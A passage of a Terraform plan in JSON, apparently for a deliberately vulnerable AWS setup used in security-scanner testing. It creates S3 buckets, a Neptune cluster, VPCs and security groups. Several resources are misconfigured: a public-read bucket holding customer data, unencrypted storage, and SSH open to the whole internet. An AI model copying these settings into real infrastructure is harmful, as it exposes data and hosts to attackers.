\"07:00-09:00\",\n          \"replication_source_identifier\": null,\n          \"skip_final_snapshot\": true,\n          \"snapshot_identifier\": null,\n          \"storage_encrypted\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zones\": true,\n          \"cluster_identifier_prefix\": true,\n          \"cluster_members\": true,\n          \"cluster_resource_id\": true,\n          \"endpoint\": true,\n          \"engine_version\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"kms_key_arn\": true,\n          \"neptune_subnet_group_name\": true,\n          \"preferred_maintenance_window\": true,\n          \"reader_endpoint\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_neptune_cluster_instance.default[0]\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_neptune_cluster_instance\",\n      \"name\": \"default\",\n      \"index\": 0,\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"apply_immediately\": true,\n          \"auto_minor_version_upgrade\": true,\n          \"engine\": \"neptune\",\n          \"instance_class\": \"db.t3.medium\",\n          \"neptune_parameter_group_name\": \"default.neptune1\",\n          \"port\": 8182,\n          \"promotion_tier\": 0,\n          \"publicly_accessible\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"address\": true,\n          \"arn\": true,\n          \"availability_zone\": true,\n          \"cluster_identifier\": true,\n          \"dbi_resource_id\": true,\n          \"endpoint\": true,\n          \"engine_version\": true,\n          \"id\": true,\n          \"identifier\": true,\n          \"identifier_prefix\": true,\n          \"kms_key_arn\": true,\n          \"neptune_subnet_group_name\": true,\n          \"preferred_backup_window\": true,\n          \"preferred_maintenance_window\": true,\n          \"storage_encrypted\": true,\n          \"writer\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_neptune_cluster_snapshot.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_neptune_cluster_snapshot\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"db_cluster_snapshot_identifier\": \"resourcetestsnapshot1\",\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"allocated_storage\": true,\n          \"availability_zones\": true,\n          \"db_cluster_identifier\": true,\n          \"db_cluster_snapshot_arn\": true,\n          \"engine\": true,\n          \"engine_version\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"license_model\": true,\n          \"port\": true,\n          \"snapshot_type\": true,\n          \"source_db_cluster_snapshot_arn\": true,\n          \"status\": true,\n          \"storage_encrypted\": true,\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_network_interface.web-eni\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_network_interface\",\n      \"name\": \"web-eni\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": null,\n          \"private_ips\": [\n            \"172.16.10.100\"\n          ],\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-primary_network_interface\"\n          }\n        },\n        \"after_unknown\": {\n          \"attachment\": true,\n          \"id\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"mac_address\": true,\n          \"outpost_arn\": true,\n          \"private_dns_name\": true,\n          \"private_ip\": true,\n          \"private_ips\": [\n            false\n          ],\n          \"private_ips_count\": true,\n          \"security_groups\": true,\n          \"subnet_id\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route.public_internet_gateway\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route\",\n      \"name\": \"public_internet_gateway\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"destination_cidr_block\": \"0.0.0.0/0\",\n          \"destination_ipv6_cidr_block\": null,\n          \"timeouts\": {\n            \"create\": \"5m\",\n            \"delete\": null\n          },\n          \"transit_gateway_id\": null,\n          \"vpc_peering_connection_id\": null\n        },\n        \"after_unknown\": {\n          \"destination_prefix_list_id\": true,\n          \"egress_only_gateway_id\": true,\n          \"gateway_id\": true,\n          \"id\": true,\n          \"instance_id\": true,\n          \"instance_owner_id\": true,\n          \"local_gateway_id\": true,\n          \"nat_gateway_id\": true,\n          \"network_interface_id\": true,\n          \"origin\": true,\n          \"route_table_id\": true,\n          \"state\": true,\n          \"timeouts\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route_table.web_rtb\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route_table\",\n      \"name\": \"web_rtb\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-rtb\"\n          }\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"owner_id\": true,\n          \"propagating_vgws\": true,\n          \"route\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route_table_association.rtbassoc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route_table_association\",\n      \"name\": \"rtbassoc\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"gateway_id\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"route_table_id\": true,\n          \"subnet_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route_table_association.rtbassoc2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route_table_association\",\n      \"name\": \"rtbassoc2\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"gateway_id\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"route_table_id\": true,\n          \"subnet_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.data\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"data\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"public-read\",\n          \"bucket\": \"123456789123-acme-corp-data\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-data\"\n          },\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": true,\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.data_science\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"data_science\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-data-science\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [\n            {\n              \"target_prefix\": \"log/\"\n            }\n          ],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": null,\n          \"versioning\": [\n            {\n              \"enabled\": true,\n              \"mfa_delete\": false\n            }\n          ],\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [\n            {\n              \"target_bucket\": true\n            }\n          ],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"versioning\": [\n            {}\n          ],\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.financials\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"financials\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-financials\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-financials\"\n          },\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": true,\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.flowbucket\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"flowbucket\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-flowlogs\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-flowlogs\"\n          },\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": true,\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.logs\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"logs\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"log-delivery-write\",\n          \"bucket\": \"123456789123-acme-corp-logs\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [\n            {\n              \"rule\": [\n                {\n                  \"apply_server_side_encryption_by_default\": [\n                    {\n                      \"sse_algorithm\": \"aws:kms\"\n                    }\n                  ]\n                }\n              ]\n            }\n          ],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-logs\"\n          },\n          \"versioning\": [\n            {\n              \"enabled\": true,\n              \"mfa_delete\": false\n            }\n          ],\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [\n            {\n              \"rule\": [\n                {\n                  \"apply_server_side_encryption_by_default\": [\n                    {\n                      \"kms_master_key_id\": true\n                    }\n                  ]\n                }\n              ]\n            }\n          ],\n          \"tags\": {},\n          \"versioning\": [\n            {}\n          ],\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket.operations\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"operations\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"123456789123-acme-corp-operations\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": true,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-operations\"\n          },\n          \"versioning\": [\n            {\n              \"enabled\": true,\n              \"mfa_delete\": false\n            }\n          ],\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"tags\": {},\n          \"versioning\": [\n            {}\n          ],\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket_object.data_object\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket_object\",\n      \"name\": \"data_object\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"cache_control\": null,\n          \"content\": null,\n          \"content_base64\": null,\n          \"content_disposition\": null,\n          \"content_encoding\": null,\n          \"content_language\": null,\n          \"force_destroy\": false,\n          \"key\": \"customer-master.xlsx\",\n          \"metadata\": null,\n          \"object_lock_legal_hold_status\": null,\n          \"object_lock_mode\": null,\n          \"object_lock_retain_until_date\": null,\n          \"source\": \"resources/customer-master.xlsx\",\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-customer-master\"\n          },\n          \"website_redirect\": null\n        },\n        \"after_unknown\": {\n          \"bucket\": true,\n          \"content_type\": true,\n          \"etag\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"server_side_encryption\": true,\n          \"storage_class\": true,\n          \"tags\": {},\n          \"version_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Managed by Terraform\",\n          \"name\": \"123456789123-acme-corp-rds-sg\",\n          \"name_prefix\": null,\n          \"revoke_rules_on_delete\": false,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-rds-sg\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"egress\": true,\n          \"id\": true,\n          \"ingress\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group.web-node\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group\",\n      \"name\": \"web-node\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"123456789123-acme-corp Security Group\",\n          \"egress\": [\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"\",\n              \"from_port\": 0,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"-1\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 0\n            }\n          ],\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"\",\n              \"from_port\": 22,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"tcp\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 22\n            },\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"\",\n              \"from_port\": 80,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"tcp\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 80\n            }\n          ],\n          \"name\": \"123456789123-acme-corp-sg\",\n          \"name_prefix\": null,\n          \"revoke_rules_on_delete\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"egress\": [\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            }\n          ],\n          \"id\": true,\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            },\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            }\n          ],\n          \"owner_id\": true,\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group_rule.egress\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group_rule\",\n      \"name\": \"egress\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"cidr_blocks\": [\n            \"0.0.0.0/0\"\n          ],\n          \"description\": null,\n          \"from_port\": 0,\n          \"ipv6_cidr_blocks\": null,\n          \"prefix_list_ids\": null,\n          \"protocol\": \"-1\",\n          \"self\": false,\n          \"to_port\": 0,\n          \"type\": \"egress\"\n        },\n        \"after_unknown\": {\n          \"cidr_blocks\": [\n            false\n          ],\n          \"id\": true,\n          \"security_group_id\": true,\n          \"source_security_group_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group_rule.ingress\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group_rule\",\n      \"name\": \"ingress\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"cidr_blocks\": [\n            \"172.16.0.0/16\"\n          ],\n          \"description\": null,\n          \"from_port\": 3306,\n          \"ipv6_cidr_blocks\": null,\n          \"prefix_list_ids\": null,\n          \"protocol\": \"tcp\",\n          \"self\": false,\n          \"to_port\": 3306,\n          \"type\": \"ingress\"\n        },\n        \"after_unknown\": {\n          \"cidr_blocks\": [\n            false\n          ],\n          \"id\": true,\n          \"security_group_id\": true,\n          \"source_security_group_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.eks_subnet1\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"eks_subnet1\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2a\",\n          \"cidr_block\": \"10.10.10.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-eks-subnet\",\n            \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.eks_subnet2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"eks_subnet2\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2b\",\n          \"cidr_block\": \"10.10.11.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-eks-subnet2\",\n            \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.web_subnet\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"web_subnet\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2a\",\n          \"cidr_block\": \"172.16.10.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-subnet\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.web_subnet2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"web_subnet2\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2b\",\n          \"cidr_block\": \"172.16.11.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-subnet2\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_volume_attachment.ebs_att\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_volume_attachment\",\n      \"name\": \"ebs_att\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"device_name\": \"/dev/sdh\",\n          \"force_detach\": null,\n          \"skip_destroy\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"instance_id\": true,\n          \"volume_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_vpc.eks_vpc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_vpc\",\n      \"name\": \"eks_vpc\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_generated_ipv6_cidr_block\": false,\n          \"cidr_block\": \"10.10.0.0/16\",\n          \"enable_dns_hostnames\": true,\n          \"enable_dns_support\": true,\n          \"instance_tenancy\": \"default\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-eks-vpc\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"default_network_acl_id\": true,\n          \"default_route_table_id\": true,\n          \"default_security_group_id\": true,\n          \"dhcp_options_id\": true,\n          \"enable_classiclink\": true,\n          \"enable_classiclink_dns_support\": true,\n          \"id\": true,\n          \"ipv6_association_id\": true,\n          \"ipv6_cidr_block\": true,\n          \"main_route_table_id\": true,\n          \"owner_id\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_vpc.web_vpc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_vpc\",\n      \"name\": \"web_vpc\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_generated_ipv6_cidr_block\": false,\n          \"cidr_block\": \"172.16.0.0/16\",\n          \"enable_dns_hostnames\": true,\n          \"enable_dns_support\": true,\n          \"instance_tenancy\": \"default\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-vpc\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"default_network_acl_id\": true,\n          \"default_route_table_id\": true,\n          \"default_security_group_id\": true,\n          \"dhcp_options_id\": true,\n          \"enable_classiclink\": true,\n          \"enable_classiclink_dns_support\": true,\n          \"id\": true,\n          \"ipv6_association_id\": true,\n          \"ipv6_cidr_block\": true,\n          \"main_route_table_id\": true,\n          \"owner_id\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"null_resource.push_image\",\n      \"mode\": \"managed\",\n      \"type\": \"null_resource\",\n      \"name\": \"push_image\",\n      \"provider_name\": \"null\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"triggers\": null\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    }\n  ],\n  \"output_changes\": {\n    \"db_app_public_dns\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"db_endpoint\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"ec2_public_dns\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"endpoint\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"kubeconfig-certificate-authority-data\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"public_subnet\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"public_subnet2\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"secret\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"username\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after\": \"123456789123-acme-corp-user\",\n      \"after_unknown\": false\n    },\n    \"vpc_id\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    }\n  },\n  \"prior_state\": {\n    \"format_version\": \"0.1\",\n    \"terraform_version\": \"0.12.23\",\n    \"values\": {\n      \"root_module\": {\n        \"resources\": [\n          {\n            \"address\": \"data.aws_ami.amazon-linux-2\",\n            \"mode\": \"data\",\n            \"type\": \"aws_ami\",\n            \"name\": \"amazon-linux-2\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"architecture\": \"x86_64\",\n              \"arn\": \"arn:aws:ec2:us-west-2::image/ami-0f0a6d00932023856\",\n              \"block_device_mappings\": [\n                {\n     